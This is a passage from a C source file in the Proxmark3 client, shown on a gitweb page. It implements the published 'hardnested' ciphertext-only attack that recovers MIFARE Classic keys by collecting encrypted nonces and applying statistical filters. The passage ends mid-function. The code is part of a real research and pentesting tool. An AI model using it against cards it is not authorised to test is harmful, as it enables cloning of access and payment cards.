]> git.zerfleddert.de Git - proxmark3-svn/blob - client/cmdhfmfhard.c
projects / proxmark3-svn / blob
? search:
summary | shortlog | log | commit | commitdiff | tree
blame | history | raw | HEAD
CHG: Nedap demod, now verifes with first parity.
[proxmark3-svn] / client / cmdhfmfhard.c
1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
3 // fiddled with 2016 Azcid (hardnested bitsliced Bruteforce imp)
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
6 // the license.
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
16
17 #include <stdlib.h>
18 #include <stdio.h>
19 #include <string.h>
20 #include <pthread.h>
21 #include <locale.h>
22 #include <math.h>
23 #include "proxmark3.h"
24 #include "cmdmain.h"
25 #include "ui.h"
26 #include "util.h"
27 #include "nonce2key/crapto1.h"
28 #include "nonce2key/crypto1_bs.h"
29 #include "parity.h"
30 #ifdef __WIN32
31 #include <windows.h>
32 #endif
33 #include <malloc.h>
34 #include <assert.h>
35
36 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
37 #define GOOD_BYTES_REQUIRED 28
38
39 static const float p_K[257] = { // the probability that a random nonce has a Sum Property == K
40 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
69 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
70 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
71 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 0.0290 };
73
74 typedef struct noncelistentry {
75 uint32_t nonce_enc;
76 uint8_t par_enc;
77 void *next;
78 } noncelistentry_t;
79
80 typedef struct noncelist {
81 uint16_t num;
82 uint16_t Sum;
83 uint16_t Sum8_guess;
84 uint8_t BitFlip[2];
85 float Sum8_prob;
86 bool updated;
87 noncelistentry_t *first;
88 float score1, score2;
89 } noncelist_t;
90
91 static size_t nonces_to_bruteforce = 0;
92 static noncelistentry_t *brute_force_nonces[256];
93 static uint32_t cuid = 0;
94 static noncelist_t nonces[256];
95 static uint8_t best_first_bytes[256];
96 static uint16_t first_byte_Sum = 0;
97 static uint16_t first_byte_num = 0;
98 static uint16_t num_good_first_bytes = 0;
99 static uint64_t maximum_states = 0;
100 static uint64_t known_target_key;
101 static bool write_stats = false;
102 static FILE *fstats = NULL;
103
104
105 typedef enum {
106 EVEN_STATE = 0,
107 ODD_STATE = 1
108 } odd_even_t;
109
110 #define STATELIST_INDEX_WIDTH 16
111 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
112
113 typedef struct {
114 uint32_t *states[2];
115 uint32_t len[2];
116 uint32_t *index[2][STATELIST_INDEX_SIZE];
117 } partial_indexed_statelist_t;
118
119 typedef struct {
120 uint32_t *states[2];
121 uint32_t len[2];
122 void* next;
123 } statelist_t;
124
125
126 static partial_indexed_statelist_t partial_statelist[17];
127 static partial_indexed_statelist_t statelist_bitflip;
128 static statelist_t *candidates = NULL;
129
130 static int add_nonce(uint32_t nonce_enc, uint8_t par_enc)
131 {
132 uint8_t first_byte = nonce_enc >> 24;
133 noncelistentry_t *p1 = nonces[first_byte].first;
134 noncelistentry_t *p2 = NULL;
135
136 if (p1 == NULL) { // first nonce with this 1st byte
137 first_byte_num++;
138 first_byte_Sum += evenparity32((nonce_enc & 0xff000000) | (par_enc & 0x08));
139 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
140 // nonce_enc,
141 // par_enc,
142 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
143 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
144 }
145
146 while (p1 != NULL && (p1->nonce_enc & 0x00ff0000) < (nonce_enc & 0x00ff0000)) {
147 p2 = p1;
148 p1 = p1->next;
149 }
150
151 if (p1 == NULL) { // need to add at the end of the list
152 if (p2 == NULL) { // list is empty yet. Add first entry.
153 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
154 } else { // add new entry at end of existing list.
155 p2 = p2->next = malloc(sizeof(noncelistentry_t));
156 }
157 } else if ((p1->nonce_enc & 0x00ff0000) != (nonce_enc & 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
158 if (p2 == NULL) { // need to insert at start of list
159 p2 = nonces[first_byte].first = malloc(sizeof(noncelistentry_t));
160 } else {
161 p2 = p2->next = malloc(sizeof(noncelistentry_t));
162 }
163 } else { // we have seen this 2nd byte before. Nothing to add or insert.
164 return (0);
165 }
166
167 // add or insert new data
168 p2->next = p1;
169 p2->nonce_enc = nonce_enc;
170 p2->par_enc = par_enc;
171
172 if(nonces_to_bruteforce < 256){
173 brute_force_nonces[nonces_to_bruteforce] = p2;
174 nonces_to_bruteforce++;
175 }
176
177 nonces[first_byte].num++;
178 nonces[first_byte].Sum += evenparity32((nonce_enc & 0x00ff0000) | (par_enc & 0x04));
179 nonces[first_byte].updated = true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
180
181 return (1); // new nonce added
182 }
183
184 static void init_nonce_memory(void)
185 {
186 for (uint16_t i = 0; i < 256; i++) {
187 nonces[i].num = 0;
188 nonces[i].Sum = 0;
189 nonces[i].Sum8_guess = 0;
190 nonces[i].Sum8_prob = 0.0;
191 nonces[i].updated = true;
192 nonces[i].first = NULL;
193 }
194 first_byte_num = 0;
195 first_byte_Sum = 0;
196 num_good_first_bytes = 0;
197 }
198
199
200 static void free_nonce_list(noncelistentry_t *p)
201 {
202 if (p == NULL) {
203 return;
204 } else {
205 free_nonce_list(p->next);
206 free(p);
207 }
208 }
209
210 static void free_nonces_memory(void)
211 {
212 for (uint16_t i = 0; i < 256; i++) {
213 free_nonce_list(nonces[i].first);
214 }
215 }
216
217 static uint16_t PartialSumProperty(uint32_t state, odd_even_t odd_even)
218 {
219 uint16_t sum = 0;
220 for (uint16_t j = 0; j < 16; j++) {
221 uint32_t st = state;
222 uint16_t part_sum = 0;
223 if (odd_even == ODD_STATE) {
224 for (uint16_t i = 0; i < 5; i++) {
225 part_sum ^= filter(st);
226 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
227 }
228 part_sum ^= 1; // XOR 1 cancelled out for the other 8 bits
229 } else {
230 for (uint16_t i = 0; i < 4; i++) {
231 st = (st << 1) | ((j >> (3-i)) & 0x01) ;
232 part_sum ^= filter(st);
233 }
234 }
235 sum += part_sum;
236 }
237 return sum;
238 }
239
240 // static uint16_t SumProperty(struct Crypto1State *s)
241 // {
242 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
243 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
244 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
245 // }
246
247 static double p_hypergeometric(uint16_t N, uint16_t K, uint16_t n, uint16_t k)
248 {
249 // for efficient computation we are using the recursive definition
250 // (K-k+1) * (n-k+1)
251 // P(X=k) = P(X=k-1) * --------------------
252 // k * (N-K-n+k)
253 // and
254 // (N-K)*(N-K-1)*...*(N-K-n+1)
255 // P(X=0) = -----------------------------
256 // N*(N-1)*...*(N-n+1)
257
258 if (n-k > N-K || k > K) return 0.0; // avoids log(x<=0) in calculation below
259 if (k == 0) {
260 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
261 double log_result = 0.0;
262 for (int16_t i = N-K; i >= N-K-n+1; i--) {
263 log_result += log(i);
264 }
265 for (int16_t i = N; i >= N-n+1; i--) {
266 log_result -= log(i);
267 }
268 return exp(log_result);
269 } else {
270 if (n-k == N-K) { // special case. The published recursion below would fail with a divide by zero exception
271 double log_result = 0.0;
272 for (int16_t i = k+1; i <= n; i++) {
273 log_result += log(i);
274 }
275 for (int16_t i = K+1; i <= N; i++) {
276 log_result -= log(i);
277 }
278 return exp(log_result);
279 } else { // recursion
280 return (p_hypergeometric(N, K, n, k-1) * (K-k+1) * (n-k+1) / (k * (N-K-n+k)));
281 }
282 }
283 }
284
285 static float sum_probability(uint16_t K, uint16_t n, uint16_t k)
286 {
287 const uint16_t N = 256;
288
289 if (k > K || p_K[K] == 0.0) return 0.0;
290
291 double p_T_is_k_when_S_is_K = p_hypergeometric(N, K, n, k);
292 double p_S_is_K = p_K[K];
293 double p_T_is_k = 0;
294 for (uint16_t i = 0; i <= 256; i++) {
295 if (p_K[i] != 0.0) {
296 p_T_is_k += p_K[i] * p_hypergeometric(N, i, n, k);
297 }
298 }
299 return(p_T_is_k_when_S_is_K * p_S_is_K / p_T_is_k);
300 }
301
302
303 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff)
304 {
305 static const uint_fast8_t common_bits_LUT[256] = {
306 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
307 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
308 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
309 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
310 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
311 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
312 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
313 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
314 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
315 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
316 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
317 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
318 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
319 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
320 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
321 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
322 };
323
324 return common_bits_LUT[bytes_diff];
325 }
326
327 static void Tests()
328 {
329 // printf("Tests: Partial Statelist sizes\n");
330 // for (uint16_t i = 0; i <= 16; i+=2) {
331 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
332 // }
333 // for (uint16_t i = 0; i <= 16; i+=2) {
334 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
335 // }
336
337 // #define NUM_STATISTICS 100000
338 // uint32_t statistics_odd[17];
339 // uint64_t statistics[257];
340 // uint32_t statistics_even[17];
341 // struct Crypto1State cs;
342 // time_t time1 = clock();
343
344 // for (uint16_t i = 0; i < 257; i++) {
345 // statistics[i] = 0;
346 // }
347 // for (uint16_t i = 0; i < 17; i++) {
348 // statistics_odd[i] = 0;
349 // statistics_even[i] = 0;
350 // }
351
352 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
353 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
354 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
355 // uint16_t sum_property = SumProperty(&cs);
356 // statistics[sum_property] += 1;
357 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
358 // statistics_even[sum_property]++;
359 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
360 // statistics_odd[sum_property]++;
361 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
362 // }
363
364 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
365 // for (uint16_t i = 0; i < 257; i++) {
366 // if (statistics[i] != 0) {
367 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
368 // }
369 // }
370 // for (uint16_t i = 0; i <= 16; i++) {
371 // if (statistics_odd[i] != 0) {
372 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
373 // }
374 // }
375 // for (uint16_t i = 0; i <= 16; i++) {
376 // if (statistics_odd[i] != 0) {
377 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
378 // }
379 // }
380
381 // printf("Tests: Sum Probabilities based on Partial Sums\n");
382 // for (uint16_t i = 0; i < 257; i++) {
383 // statistics[i] = 0;
384 // }
385 // uint64_t num_states = 0;
386 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
387 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
388 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
389 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
390 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
391 // }
392 // }
393 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
394 // for (uint16_t i = 0; i < 257; i++) {
395 // if (statistics[i] != 0) {
396 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
397 // }
398 // }
399
400 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
401 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
402 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
403 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
404 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
405 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
406 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
407
408 // struct Crypto1State *pcs;
409 // pcs = crypto1_create(0xffffffffffff);
410 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
411 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
412 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
413 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
414 // best_first_bytes[0],
415 // SumProperty(pcs),
416 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
417 // //test_state_odd = pcs->odd & 0x00ffffff;
418 // //test_state_even = pcs->even & 0x00ffffff;
419 // crypto1_destroy(pcs);
420 // pcs = crypto1_create(0xa0a1a2a3a4a5);
421 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
422 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
423 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
424 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
425 // best_first_bytes[0],
426 // SumProperty(pcs),
427 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
428 // //test_state_odd = pcs->odd & 0x00ffffff;
429 // //test_state_even = pcs->even & 0x00ffffff;
430 // crypto1_destroy(pcs);
431 // pcs = crypto1_create(0xa6b9aa97b955);
432 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
433 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
434 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
435 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
436 // best_first_bytes[0],
437 // SumProperty(pcs),
438 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
439 //test_state_odd = pcs->odd & 0x00ffffff;
440 //test_state_even = pcs->even & 0x00ffffff;
441 // crypto1_destroy(pcs);
442
443
444 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
445
446 // printf("\nTests: Actual BitFlipProperties odd/even:\n");
447 // for (uint16_t i = 0; i < 256; i++) {
448 // printf("[%02x]:%c ", i, nonces[i].BitFlip[ODD_STATE]?'o':nonces[i].BitFlip[EVEN_STATE]?'e':' ');
449 // if (i % 8 == 7) {
450 // printf("\n");
451 // }
452 // }
453
454 // printf("\nTests: Sorted First Bytes:\n");
455 // for (uint16_t i = 0; i < 256; i++) {
456 // uint8_t best_byte = best_first_bytes[i];
457 // printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
458 // //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
459 // i, best_byte,
460 // nonces[best_byte].num,
461 // nonces[best_byte].Sum,
462 // nonces[best_byte].Sum8_guess,
463 // nonces[best_byte].Sum8_prob * 100,
464 // nonces[best_byte].BitFlip[ODD_STATE]?'o':nonces[best_byte].BitFlip[EVEN_STATE]?'e':' '
465 // //nonces[best_byte].score1,
466 // //nonces[best_byte].score2
467 // );
468 // }
469
470 // printf("\nTests: parity performance\n");
471 // time_t time1p = clock();
472 // uint32_t par_sum = 0;
473 // for (uint32_t i = 0; i < 100000000; i++) {
474 // par_sum += parity(i);
475 // }
476 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
477
478 // time1p = clock();
479 // par_sum = 0;
480 // for (uint32_t i = 0; i < 100000000; i++) {
481 // par_sum += evenparity32(i);
482 // }
483 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
484
485
486 }
487
488 static void sort_best_first_bytes(void)
489 {
490 // sort based on probability for correct guess
491 for (uint16_t i = 0; i < 256; i++ ) {
492 uint16_t j = 0;
493 float prob1 = nonces[i].Sum8_prob;
494 float prob2 = nonces[best_first_bytes[0]].Sum8_prob;
495 while (prob1 < prob2 && j < i) {
496 prob2 = nonces[best_first_bytes[++j]].Sum8_prob;
497 }
498 if (j < i) {
499 for (uint16_t k = i; k > j; k--) {
500 best_first_bytes[k] = best_first_bytes[k-1];
501 }
502 }
503 best_first_bytes[j] = i;
504 }
505
506 // determine how many are above the CONFIDENCE_THRESHOLD
507 uint16_t num_good_nonces = 0;
508 for (uint16_t i = 0; i < 256; i++) {
509 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
510 ++num_good_nonces;
511 }
512 }
513
514 uint16_t best_first_byte = 0;
515
516 // select the best possible first byte based on number of common bits with all {b'}
517 // uint16_t max_common_bits = 0;
518 // for (uint16_t i = 0; i < num_good_nonces; i++) {
519 // uint16_t sum_common_bits = 0;
520 // for (uint16_t j = 0; j < num_good_nonces; j++) {
521 // if (i != j) {
522 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
523 // }
524 // }
525 // if (sum_common_bits > max_common_bits) {
526 // max_common_bits = sum_common_bits;
527 // best_first_byte = i;
528 // }
529 // }
530
531 // select best possible first byte {b} based on least likely sum/bitflip property
532 float min_p_K = 1.0;
533 for (uint16_t i = 0; i < num_good_nonces; i++ ) {
534 uint16_t sum8 = nonces[best_first_bytes[i]].Sum8_guess;
535 float bitflip_prob = 1.0;
536 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
537 bitflip_prob = 0.09375;
538 }
539 nonces[best_first_bytes[i]].score1 = p_K[sum8] * bitflip_prob;
540 if (p_K[sum8] * bitflip_prob <= min_p_K) {
541 min_p_K = p_K[sum8] * bitflip_prob;
542 }
543 }
544
545
546 // use number of commmon bits as a tie breaker
547 uint16_t max_common_bits = 0;
548 for (uint16_t i = 0; i < num_good_nonces; i++) {
549 float bitflip_prob = 1.0;
550 if (nonces[best_first_bytes[i]].BitFlip[ODD_STATE] || nonces[best_first_bytes[i]].BitFlip[EVEN_STATE]) {
551 bitflip_prob = 0.09375;
552 }
553 if (p_K[nonces[best_first_bytes[i]].Sum8_guess] * bitflip_prob == min_p_K) {
554 uint16_t sum_common_bits = 0;
555 for (uint16_t j = 0; j < num_good_nonces; j++) {
556 sum_common_bits += common_bits(best_first_bytes[i] ^ best_first_bytes[j]);
557 }
558 nonces[best_first_bytes[i]].score2 = sum_common_bits;
559 if (sum_common_bits > max_common_bits) {
560 max_common_bits = sum_common_bits;
561 best_first_byte = i;
562 }
563 }
564 }
565
566 // swap best possible first byte to the pole position
567 uint16_t temp = best_first_bytes[0];
568 best_first_bytes[0] = best_first_bytes[best_first_byte];
569 best_first_bytes[best_first_byte] = temp;
570
571 }
572
573 static uint16_t estimate_second_byte_sum(void)
574 {
575
576 for (uint16_t first_byte = 0; first_byte < 256; first_byte++) {
577 float Sum8_prob = 0.0;
578 uint16_t Sum8 = 0;
579 if (nonces[first_byte].updated) {
580 for (uint16_t sum = 0; sum <= 256; sum++) {
581 float prob = sum_probability(sum, nonces[first_byte].num, nonces[first_byte].Sum);
582 if (prob > Sum8_prob) {
583 Sum8_prob = prob;
584 Sum8 = sum;
585 }
586 }
587 nonces[first_byte].Sum8_guess = Sum8;
588 nonces[first_byte].Sum8_prob = Sum8_prob;
589 nonces[first_byte].updated = false;
590 }
591 }
592
593 sort_best_first_bytes();
594
595 uint16_t num_good_nonces = 0;
596 for (uint16_t i = 0; i < 256; i++) {
597 if (nonces[best_first_bytes[i]].Sum8_prob >= CONFIDENCE_THRESHOLD) {
598 ++num_good_nonces;
599 }
600 }
601
602 return num_good_nonces;
603 }
604
605 static int read_nonce_file(void)
606 {
607 FILE *fnonces = NULL;
608 uint8_t trgBlockNo;
609 uint8_t trgKeyType;
610 uint8_t read_buf[9];
611 uint32_t nt_enc1, nt_enc2;
612 uint8_t par_enc;
613 int total_num_nonces = 0;
614
615 if ((fnonces = fopen("nonces.bin","rb")) == NULL) {
616 PrintAndLog("Could not open file nonces.bin");
617 return 1;
618 }
619
620 PrintAndLog("Reading nonces from file nonces.bin...");
621 size_t bytes_read = fread(read_buf, 1, 6, fnonces);
622 if ( bytes_read == 0) {
623 PrintAndLog("File reading error.");
624 fclose(fnonces);
625 return 1;
626 }
627 cuid = bytes_to_num(read_buf, 4);
628 trgBlockNo = bytes_to_num(read_buf+4, 1);
629 trgKeyType = bytes_to_num(read_buf+5, 1);
630
631 while (fread(read_buf, 1, 9, fnonces) == 9) {
632 nt_enc1 = bytes_to_num(read_buf, 4);
633 nt_enc2 = bytes_to_num(read_buf+4, 4);
634 par_enc = bytes_to_num(read_buf+8, 1);
635 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
636 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
637 add_nonce(nt_enc1, par_enc >> 4);
638 add_nonce(nt_enc2, par_enc & 0x0f);
639 total_num_nonces += 2;
640 }
641 fclose(fnonces);
642 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces, cuid, trgBlockNo, trgKeyType==0?'A':'B');
643
644 return 0;
645 }
646
647 static void Check_for_FilterFlipProperties(void)
648 {
649 printf("Checking for Filter Flip Properties...\n");
650
651 uint16_t num_bitflips = 0;
652
653 for (uint16_t i = 0; i < 256; i++) {
654 nonces[i].BitFlip[ODD_STATE] = false;
655 nonces[i].BitFlip[EVEN_STATE] = false;
656 }
657
658 for (uint16_t i = 0; i < 256; i++) {
659 uint8_t parity1 = (nonces[i].first->par_enc) >> 3; // parity of first byte
660 uint8_t parity2_odd = (nonces[i^0x80].first->par_enc) >> 3; // XOR 0x80 = last bit flipped
661 uint8_t parity2_even = (nonces[i^0x40].first->par_enc) >> 3; // XOR 0x40 = second last bit flipped
662
663 if (parity1 == parity2_odd) { // has Bit Flip Property for odd bits
664 nonces[i].BitFlip[ODD_STATE] = true;
665 num_bitflips++;
666 } else if (parity1 == parity2_even) { // has Bit Flip Property for even bits
667 nonces[i].BitFlip[EVEN_STATE] = true;
668 num_bitflips++;
669 }
670 }
671
672 if (write_stats) {
673 fprintf(fstats, "%d;", num_bitflips);
674 }
675 }
676
677 static void simulate_MFplus_RNG(uint32_t test_cuid, uint64_t test_key, uint32_t *nt_enc, uint8_t *par_enc)
678 {
679 struct Crypto1State sim_cs = {0, 0};
680 // init cryptostate with key:
681 for(int8_t i = 47; i > 0; i -= 2) {
682 sim_cs.odd = sim_cs.odd << 1 | BIT(test_key, (i - 1) ^ 7);
683 sim_cs.even = sim_cs.even << 1 | BIT(test_key, i ^ 7);
684 }
685
686 *par_enc = 0;
687 uint32_t nt = (rand() & 0xff) << 24 | (rand() & 0xff) << 16 | (rand() & 0xff) << 8 | (rand() & 0xff);
688 for (int8_t byte_pos = 3; byte_pos >= 0; byte_pos--) {
689 uint8_t nt_byte_dec = (nt >> (8*byte_pos)) & 0xff;
690 uint8_t nt_byte_enc = crypto1_byte(&sim_cs, nt_byte_dec ^ (test_cuid >> (8*byte_pos)), false) ^ nt_byte_dec; // encode the nonce byte
691 *nt_enc = (*nt_enc << 8) | nt_byte_enc;
692 uint8_t ks_par = filter(sim_cs.odd); // the keystream bit to encode/decode the parity bit
693 uint8_t nt_byte_par_enc = ks_par ^ oddparity8(nt_byte_dec); // determine the nt byte's parity and encode it
694 *par_enc = (*par_enc << 1) | nt_byte_par_enc;
695 }
696
697 }
698
699 static void simulate_acquire_nonces()
700 {
701 clock_t time1 = clock();
702 bool filter_flip_checked = false;
703 uint32_t total_num_nonces = 0;
704 uint32_t next_fivehundred = 500;
705 uint32_t total_added_nonces = 0;
706
